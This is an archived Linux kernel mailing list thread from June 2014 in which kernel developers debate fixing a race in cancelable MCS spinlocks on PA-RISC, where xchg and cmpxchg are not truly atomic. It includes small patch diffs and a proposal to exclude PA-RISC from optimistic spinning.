	Mon, 2 Jun 2014 10:50:55 -0600
Original-Received: by paulmck-ThinkPad-W500 (Postfix, from userid 1000)
	id 5BE463814C3; Mon,  2 Jun 2014 09:46:55 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20140602163032.GI16155@laptop.programming.kicks-ass.net>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-TM-AS-MML: disable
X-Content-Scanned: Fidelis XPS MAILER
x-cbid: 14060216-9332-0000-0000-000000F80EDF
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5832 gmane.linux.kernel:1716213
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5832>

On Mon, Jun 02, 2014 at 06:30:32PM +0200, Peter Zijlstra wrote:
> On Mon, Jun 02, 2014 at 06:25:25PM +0200, Peter Zijlstra wrote:
> > I'm almost inclined to just exclude parisc from using opt spinning.
> > 
> > That said, this patch still doesn't address the far more interesting
> > problem of actually finding these issues for these few weird archs.
> 
> So why do these archs provide xchg() and cmpxchg() at all? Wouldn't it
> be much simpler if archs that cannot sanely do this, not provide these
> primitives at all?

Such architectures would also need to avoid NO_HZ_FULL_SYSIDLE and
RCU_NOCB_CPU, but those are probably entirely reasonable restrictions.

							Thanx, Paul

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jason Low <jason.low2@hp.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH v2] introduce atomic_pointer to fix a race condition in
 cancelable mcs spinlocks
Date: Mon, 02 Jun 2014 09:50:10 -0700
Lines: 33
Approved: news@gmane.org
Message-ID: <1401727810.7440.34.camel@j-VirtualBox>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com>
	 <alpine.LRH.2.02.1406021158360.20627@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1401727839 17587 80.91.229.3 (2 Jun 2014 16:50:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Jun 2014 16:50:39 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	Peter Zijlstra <peterz@infradead.org>, jejb@parisc-linux.org,
	deller@gmx.de, John David Anglin <dave.anglin@bell.net>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	paulmck@linux.vnet.ibm.com, chegu_vinod@hp.com, Waiman.Long@hp.com,
	tglx@linutronix.de, riel@redhat.com, akpm@linux-foundation.org,
	davidlohr@hp.com, hpa@zytor.com, andi@firstfloor.org, aswin@hp.com,
	scott.norton@hp.com
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Jun 02 18:50:30 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1WrVRN-0004PE-CY
	for glk-linux-kernel-3@plane.gmane.org; Mon, 02 Jun 2014 18:50:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754522AbaFBQuU (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 2 Jun 2014 12:50:20 -0400
Original-Received: from g6t1526.atlanta.hp.com ([15.193.200.69]:41038 "EHLO
	g6t1526.atlanta.hp.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752811AbaFBQuS (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Mon, 2 Jun 2014 12:50:18 -0400
Original-Received: from g5t1633.atlanta.hp.com (g5t1633.atlanta.hp.com [16.201.144.132])
	by g6t1526.atlanta.hp.com (Postfix) with ESMTP id 61B00CC;
	Mon,  2 Jun 2014 16:50:16 +0000 (UTC)
Original-Received: from [10.0.2.15] (lowjas2.americas.hpqcorp.net [16.212.74.111])
	by g5t1633.atlanta.hp.com (Postfix) with ESMTP id 5703460;
	Mon,  2 Jun 2014 16:50:11 +0000 (UTC)
In-Reply-To: <alpine.LRH.2.02.1406021158360.20627@file01.intranet.prod.int.rdu2.redhat.com>
X-Mailer: Evolution 3.2.3-0ubuntu6 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1716217 gmane.linux.ports.parisc:5833
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1716217>

On Mon, 2014-06-02 at 12:00 -0400, Mikulas Patocka wrote:
> If you write to some variable with ACCESS_ONCE and use cmpxchg or xchg at
> the same time, you break it. ACCESS_ONCE doesn't take the hashed spinlock,
> so, in this case, cmpxchg or xchg isn't really atomic at all.

So if the problem is using ACCESS_ONCE writes with cmpxchg and xchg at
the same time, would the below change address this problem?

-----
diff --git a/kernel/locking/mcs_spinlock.c b/kernel/locking/mcs_spinlock.c
index 838dc9e..8396721 100644
--- a/kernel/locking/mcs_spinlock.c
+++ b/kernel/locking/mcs_spinlock.c
@@ -71,7 +71,7 @@ bool osq_lock(struct optimistic_spin_queue **lock)
 	if (likely(prev == NULL))
 		return true;
 
-	ACCESS_ONCE(prev->next) = node;
+	xchg(&prev->next, node);
 
 	/*
 	 * Normally @prev is untouchable after the above store; because at that
@@ -144,7 +144,7 @@ unqueue:
 	 */
 
 	ACCESS_ONCE(next->prev) = prev;
-	ACCESS_ONCE(prev->next) = next;
+	xchg(&prev->next, next);
 
 	return false;
 }



From - Thu Nov 08 21:10:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v2] introduce atomic_pointer to fix a race condition in
 cancelable mcs spinlocks
Date: Mon, 2 Jun 2014 10:03:27 -0700
Lines: 45
Approved: news@gmane.org
Message-ID: <20140602170327.GV22231@linux.vnet.ibm.com>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com>
 <alpine.LRH.2.02.1406021158360.20627@file01.intranet.prod.int.rdu2.redhat.com>
 <1401727810.7440.34.camel@j-VirtualBox>
Reply-To: paulmck@linux.vnet.ibm.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1401728629 27233 80.91.229.3 (2 Jun 2014 17:03:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Jun 2014 17:03:49 +0000 (UTC)
Cc: Mikulas Patocka <mpatocka@redhat.com>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Peter Zijlstra <peterz@infradead.org>, jejb@parisc-linux.org,
	deller@gmx.de, John David Anglin <dave.anglin@bell.net>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	chegu_vinod@hp.com, Waiman.Long@hp.com, tglx@linutronix.de,
	riel@redhat.com, akpm@linux-foundation.org, davidlohr@hp.com,
	hpa@zytor.com, andi@firstfloor.org, aswin@hp.com,
	scott.norton@hp.com
To: Jason Low <jason.low2@hp.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 02 19:03:39 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WrVe1-0005La-Tb
	for glpp-linux-parisc@plane.gmane.org; Mon, 02 Jun 2014 19:03:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751908AbaFBRDd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 2 Jun 2014 13:03:33 -0400
Original-Received: from e39.co.us.ibm.com ([32.97.110.160]:59700 "EHLO
	e39.co.us.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751845AbaFBRDc (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 2 Jun 2014 13:03:32 -0400
Original-Received: from /spool/local
	by e39.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-parisc@vger.kernel.org> from <paulmck@linux.vnet.ibm.com>;
	Mon, 2 Jun 2014 11:03:31 -0600
Original-Received: from d03dlp03.boulder.ibm.com (9.17.202.179)
	by e39.co.us.ibm.com (192.168.1.139) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
	Mon, 2 Jun 2014 11:03:30 -0600
Original-Received: from b03cxnp08027.gho.boulder.ibm.com (b03cxnp08027.gho.boulder.ibm.com [9.17.130.19])
	by d03dlp03.boulder.ibm.com (Postfix) with ESMTP id 6520F19D8042;
	Mon,  2 Jun 2014 11:03:22 -0600 (MDT)
Original-Received: from d03av06.boulder.ibm.com (d03av06.boulder.ibm.com [9.17.195.245])
	by b03cxnp08027.gho.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id s52H2WLB43122798;
	Mon, 2 Jun 2014 19:02:32 +0200
Original-Received: from d03av06.boulder.ibm.com (loopback [127.0.0.1])
	by d03av06.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id s52H7RAY022235;
	Mon, 2 Jun 2014 11:07:29 -0600
Original-Received: from paulmck-ThinkPad-W500 ([9.70.82.160])
	by d03av06.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id s52H7RvF022210;
	Mon, 2 Jun 2014 11:07:27 -0600
Original-Received: by paulmck-ThinkPad-W500 (Postfix, from userid 1000)
	id 297843814C3; Mon,  2 Jun 2014 10:03:27 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <1401727810.7440.34.camel@j-VirtualBox>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-TM-AS-MML: disable
X-Content-Scanned: Fidelis XPS MAILER
x-cbid: 14060217-9332-0000-0000-000000F81A4F
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5834 gmane.linux.kernel:1716231
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5834>

On Mon, Jun 02, 2014 at 09:50:10AM -0700, Jason Low wrote:
> On Mon, 2014-06-02 at 12:00 -0400, Mikulas Patocka wrote:
> > If you write to some variable with ACCESS_ONCE and use cmpxchg or xchg at
> > the same time, you break it. ACCESS_ONCE doesn't take the hashed spinlock,
> > so, in this case, cmpxchg or xchg isn't really atomic at all.
> 
> So if the problem is using ACCESS_ONCE writes with cmpxchg and xchg at
> the same time, would the below change address this problem?

And one could use cmpxchg() or atomic_add_return(..., 0) to read a value
out.  Probably at the cost of some performance impact, though.

							Thanx, Paul

> -----
> diff --git a/kernel/locking/mcs_spinlock.c b/kernel/locking/mcs_spinlock.c
> index 838dc9e..8396721 100644
> --- a/kernel/locking/mcs_spinlock.c
> +++ b/kernel/locking/mcs_spinlock.c
> @@ -71,7 +71,7 @@ bool osq_lock(struct optimistic_spin_queue **lock)
>  	if (likely(prev == NULL))
>  		return true;
> 
> -	ACCESS_ONCE(prev->next) = node;
> +	xchg(&prev->next, node);
> 
>  	/*
>  	 * Normally @prev is untouchable after the above store; because at that
> @@ -144,7 +144,7 @@ unqueue:
>  	 */
> 
>  	ACCESS_ONCE(next->prev) = prev;
> -	ACCESS_ONCE(prev->next) = next;
> +	xchg(&prev->next, next);
> 
>  	return false;
>  }
> 
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v2] introduce atomic_pointer to fix a race condition in
 cancelable mcs spinlocks
Date: Mon, 2 Jun 2014 10:09:35 -0700
Lines: 33
Approved: news@gmane.org
Message-ID: <CA+55aFzwrqkwD=G=w2m7TdXTpsMFjV7XUMXv5DMPGr=5x5YGCQ@mail.gmail.com>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com>
	<alpine.LRH.2.02.1406021158360.20627@file01.intranet.prod.int.rdu2.redhat.com>
	<20140602162525.GH16155@laptop.programming.kicks-ass.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1401728988 31799 80.91.229.3 (2 Jun 2014 17:09:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Jun 2014 17:09:48 +0000 (UTC)
Cc: Mikulas Patocka <mpatocka@redhat.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	John David Anglin <dave.anglin@bell.net>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	Paul McKenney <paulmck@linux.vnet.ibm.com>,
	"Vinod, Chegu" <chegu_vinod@hp.com>,
	Waiman Long <Waiman.Long@hp.com>,
	Thomas Gleixner <tglx@linutronix.de>,
	Rik van Riel <riel@redhat.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	Davidlohr Bueso <davidlohr@hp.com>,
	Peter Anvin <hpa@zytor.com>, Andi Kleen <andi@firstfloor.org>,
	"Chandramouleeswaran, Aswin" <aswin@hp.com>,
	"Norton, Scott J" <scott.norton@hp.com>,
	Jason Low <jason.low2@hp.com>
To: Peter Zijlstra <peterz@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 02 19:09:40 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WrVju-0001NM-Hh
	for glpp-linux-parisc@plane.gmane.org; Mon, 02 Jun 2014 19:09:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752396AbaFBRJh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 2 Jun 2014 13:09:37 -0400
Original-Received: from mail-ve0-f169.google.com ([209.85.128.169]:33892 "EHLO
	mail-ve0-f169.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751917AbaFBRJg (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 2 Jun 2014 13:09:36 -0400
Original-Received: by mail-ve0-f169.google.com with SMTP id jx11so5557867veb.14
        for <multiple recipients>; Mon, 02 Jun 2014 10:09:35 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=Zytrve7tnnTNlhsyXcXwi5idY+SeErNg8pmvQLZ4Y1w=;
        b=L6ZRozEFe3DUsEC9bot49XzsUNDXwTm84736kMuDZvWfeex1K6klBUocZdUNJZsFXG
         zuHaLCrvWGRG1JaLfx/8WZBRTXaNKQQwNcJgcNJ4HWTym0LcMFe84MsoWziQVd3cYw7f
         Pqmr9iX5kjsy2phXTtlAd/CDV9yZImpK8Cw7lB5S78bbIQLo5nJfym01p85etsXauBxZ
         gKjvo9pgwjY9iV1ok+RPomzJ187Citj8iyYt2tiE83BGpvH/jDQ662M/Zf7mZvAPycY0
         diS8H4KAUDLGHme3lMroZHhWJpplN7H/F/DUTsUFgOBDJ3/FS5R8VRv0VScFvkNczew+
         cYCQ==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linux-foundation.org; s=google;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=Zytrve7tnnTNlhsyXcXwi5idY+SeErNg8pmvQLZ4Y1w=;
        b=aqsIcs7gpJAGpdizkqHP4BrFeEu+vPO4vBKgKL6XLh91MfV/+CRDaHc3QtzGoybvQX
         vE3PSBwmYRwtuaOYj3joMg9QMqFdmscvAhvn1tHUNwgmglUt3Wr/se+Cv0jWcxr0hlsT
         yhBlX2A73Vo0AnymI9EOY9OVsBjMY9mKrBoLQ=
X-Received: by 10.52.141.74 with SMTP id rm10mr26542013vdb.6.1401728975641;
 Mon, 02 Jun 2014 10:09:35 -0700 (PDT)
Original-Received: by 10.220.13.16 with HTTP; Mon, 2 Jun 2014 10:09:35 -0700 (PDT)
In-Reply-To: <20140602162525.GH16155@laptop.programming.kicks-ass.net>
X-Google-Sender-Auth: eZCqBCT2_JqgxUitgnJ4rPnD7SI
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5835 gmane.linux.kernel:1716237
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5835>

On Mon, Jun 2, 2014 at 9:25 AM, Peter Zijlstra <peterz@infradead.org> wrote:
>
> And I can't say I'm a particular fan of these ops either, as alternative
> I'm almost inclined to just exclude parisc from using opt spinning.

Please do.

There is no way in hell that we should introduce a magic new
atomic_pointer thing for parisc. And the idea somebody had to change
ACCESS_ONCE() for PA-RISC (I'm not going to go back to find who to
blame) is just horribly wrong too, since it's not even necessary for
any normal use: the special "load-and-store-zero" instruction isn't
actually used for "real" data, it's used only for the special
spinlocks afaik, so doing it for all ACCESS_ONCE() users would be
wrong even on PA-RISC. For any normal data, the usual "just load the
value, making sure the compiler doesn't reload it" is perfectly fine -
even on PA-RISC.

Now, if PA-RISC was a major architecture, we'd have to figure this
out. But as it is, PA-RISC is just about the shittiest RISC ever
invented (with original sparc being a strong contender), and let's
face it, nobody really uses it.  It's a "fun project", but it is not
something that we should use to mess up either ACCESS_ONCE() or the
MCS locks.

Just make PA-RISC use its own locks, not any of the new fancy ones.

              Linus
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Davidlohr Bueso <davidlohr@hp.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH v2] introduce atomic_pointer to fix a race condition in
 cancelable mcs spinlocks
Date: Mon, 02 Jun 2014 10:12:25 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <1401729145.5185.5.camel@buesod1.americas.hpqcorp.net>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com>
	 <alpine.LRH.2.02.1406021158360.20627@file01.intranet.prod.int.rdu2.redhat.com>
	 <20140602162525.GH16155@laptop.programming.kicks-ass.net>
	 <CA+55aFzwrqkwD=G=w2m7TdXTpsMFjV7XUMXv5DMPGr=5x5YGCQ@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1401729176 1799 80.91.229.3 (2 Jun 2014 17:12:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Jun 2014 17:12:56 +0000 (UTC)
Cc: Peter Zijlstra <peterz@infradead.org>,
	Mikulas Patocka <mpatocka@redhat.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	John David Anglin <dave.anglin@bell.net>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	Paul McKenney <paulmck@linux.vnet.ibm.com>,
	"Vinod, Chegu" <chegu_vinod@hp.com>,
	Waiman Long <Waiman.Long@hp.com>,
	Thomas Gleixner <tglx@linutronix.de>,
	Rik van Riel <riel@redhat.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	Peter Anvin <hpa@zytor.com>, Andi Kleen <andi@firstfloor.org>,
	"Chandramouleeswaran, Aswin" <aswin@hp.com>,
	"Norton, Scott J" <scott.norton@hp.com>,
	Jason Low <jason.low2@hp.com>
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Jun 02 19:12:47 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1WrVmu-00036I-KE
	for glk-linux-kernel-3@plane.gmane.org; Mon, 02 Jun 2014 19:12:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754305AbaFBRMg (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 2 Jun 2014 13:12:36 -0400
Original-Received: from g2t2352.austin.hp.com ([15.217.128.51]:28804 "EHLO
	g2t2352.austin.hp.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751290AbaFBRMe (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Mon, 2 Jun 2014 13:12:34 -0400
Original-Received: from g2t2360.austin.hp.com (g2t2360.austin.hp.com [16.197.8.247])
	by g2t2352.austin.hp.com (Postfix) with ESMTP id 8F1BE1A4;
	Mon,  2 Jun 2014 17:12:33 +0000 (UTC)
Original-Received: from [16.212.192.196] (unknown [16.212.192.196])
	by g2t2360.austin.hp.com (Postfix) with ESMTP id 1CD934C;
	Mon,  2 Jun 2014 17:12:26 +0000 (UTC)
In-Reply-To: <CA+55aFzwrqkwD=G=w2m7TdXTpsMFjV7XUMXv5DMPGr=5x5YGCQ@mail.gmail.com>
X-Mailer: Evolution 3.6.4 (3.6.4-3.fc18) 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1716241 gmane.linux.ports.parisc:5836
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1716241>

On Mon, 2014-06-02 at 10:09 -0700, Linus Torvalds wrote:
> On Mon, Jun 2, 2014 at 9:25 AM, Peter Zijlstra <peterz@infradead.org> wrote:
> >
> > And I can't say I'm a particular fan of these ops either, as alternative
> > I'm almost inclined to just exclude parisc from using opt spinning.
> 
> Please do.

I agree, this is the best way out of this mess. Furthermore, it would
also be nice to consolidate opt spinning in a common CONFIG option --
right now mutexes and rwsems create their own dependencies.


From - Thu Nov 08 21:10:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v2] introduce atomic_pointer to fix a race condition in
 cancelable mcs spinlocks
Date: Mon, 02 Jun 2014 10:14:59 -0700
Lines: 74
Approved: news@gmane.org
Message-ID: <1401729299.2204.27.camel@dabdike.int.hansenpartnership.com>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com>
	 <alpine.LRH.2.02.1406021158360.20627@file01.intranet.prod.int.rdu2.redhat.com>
	 <20140602162525.GH16155@laptop.programming.kicks-ass.net>
	 <20140602164339.GS22231@linux.vnet.ibm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1401729314 3651 80.91.229.3 (2 Jun 2014 17:15:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Jun 2014 17:15:14 +0000 (UTC)
Cc: Peter Zijlstra <peterz@infradead.org>,
	Mikulas Patocka <mpatocka@redhat.com>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	jejb@parisc-linux.org, deller@gmx.de,
	John David Anglin <dave.anglin@bell.net>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	chegu_vinod@hp.com, Waiman.Long@hp.com, tglx@linutronix.de,
	riel@redhat.com, akpm@linux-foundation.org, davidlohr@hp.com,
	hpa@zytor.com, andi@firstfloor.org, aswin@hp.com,
	scott.norton@hp.com, Jason Low <jason.low2@hp.com>
To: paulmck@linux.vnet.ibm.com
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 02 19:15:04 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WrVpA-0004Jy-6s
	for glpp-linux-parisc@plane.gmane.org; Mon, 02 Jun 2014 19:15:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754573AbaFBRPD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 2 Jun 2014 13:15:03 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:55260 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751693AbaFBRPD (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 2 Jun 2014 13:15:03 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 536548EE167;
	Mon,  2 Jun 2014 10:15:01 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 1E_mrkFGhoP1; Mon,  2 Jun 2014 10:15:01 -0700 (PDT)
Original-Received: from dabdike.int.hansenpartnership.com (unknown [50.46.103.107])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 528408EE0A4;
	Mon,  2 Jun 2014 10:15:00 -0700 (PDT)
In-Reply-To: <20140602164339.GS22231@linux.vnet.ibm.com>
X-Mailer: Evolution 3.12.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5837 gmane.linux.kernel:1716245
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5837>

On Mon, 2014-06-02 at 09:43 -0700, Paul E. McKenney wrote:
> On Mon, Jun 02, 2014 at 06:25:25PM +0200, Peter Zijlstra wrote:
> > On Mon, Jun 02, 2014 at 12:00:45PM -0400, Mikulas Patocka wrote:
> > >  struct optimistic_spin_queue {
> > > -	struct optimistic_spin_queue *next, *prev;
> > > +	atomic_pointer(struct optimistic_spin_queue *) next;
> > > +	struct optimistic_spin_queue *prev;
> > >  	int locked; /* 1 if lock acquired */
> > >  };
> > >  
> > > Index: linux-3.15-rc8/include/asm-generic/atomic-long.h
> > > ===================================================================
> > > --- linux-3.15-rc8.orig/include/asm-generic/atomic-long.h	2014-06-02 17:11:17.000000000 +0200
> > > +++ linux-3.15-rc8/include/asm-generic/atomic-long.h	2014-06-02 17:11:50.000000000 +0200
> > > @@ -255,4 +255,31 @@ static inline long atomic_long_add_unles
> > >  
> > >  #endif  /*  BITS_PER_LONG == 64  */
> > >  
> > > +#define atomic_pointer(type)						\
> > > +union {									\
> > > +	atomic_long_t __a;						\
> > > +	type __t;							\
> > > +	char __check_sizeof[sizeof(type) == sizeof(long) ? 1 : -1];	\
> > > +}
> > 
> > That's still entirely disgusting, and afaict entirely redundant. You can
> > do that test in the operators below just fine.
> > 
> > > +#define ATOMIC_POINTER_INIT(i)	{ .__t = (i) }
> > > +
> > > +#define atomic_pointer_read(v)	((typeof((v)->__t))atomic_long_read(&(v)->__a))
> > > +
> > > +#define atomic_pointer_set(v, i)		({			\
> > > +	typeof((v)->__t) __i = (i);					\
> > > +	atomic_long_set(&(v)->__a, (long)(__i));			\
> > > +})
> > > +
> > > +#define atomic_pointer_xchg(v, i)		({			\
> > > +	typeof((v)->__t) __i = (i);					\
